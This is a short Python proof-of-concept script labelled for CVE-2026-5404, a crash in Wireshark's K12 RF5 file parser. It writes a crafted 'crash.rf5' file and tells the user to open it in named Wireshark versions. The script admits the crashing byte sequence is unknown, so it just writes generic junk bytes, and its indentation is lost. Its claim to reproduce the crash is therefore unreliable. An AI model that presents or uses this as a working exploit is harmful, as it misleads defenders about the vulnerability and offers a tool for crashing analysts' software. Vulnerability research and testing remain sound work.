The following code is for security research and authorized testing only.
python
import struct
# PoC for CVE-2026-5404: Wireshark K12 RF5 File Parser Crash
# This script generates a malformed K12 RF5 file intended to trigger the crash.
def generate_malformed_rf5(filename):
with open(filename, 'wb') as f:
# K12 RF5 files typically start with a specific header.
# This PoC attempts to fuzz the header structure to trigger the parser crash.
# Note: The exact byte sequence causing the crash depends on the specific vulnerability details.
# Writing a generic malformed header
f.write(b'\x00' * 10) # Malformed magic bytes or offset
f.write(b'\xFF' * 50) # Junk data to overflow buffer or confuse parser
# Appending some payload that might trigger the parsing logic
f.write(b'A' * 1000)
print(f"[+] Malformed file '{filename}' generated successfully.")
print(f"[+] Open this file in Wireshark 4.4.0 - 4.4.14 or 4.6.0 - 4.6.4 to reproduce the crash.")
if __name__ == "__main__":
generate_malformed_rf5("crash.rf5")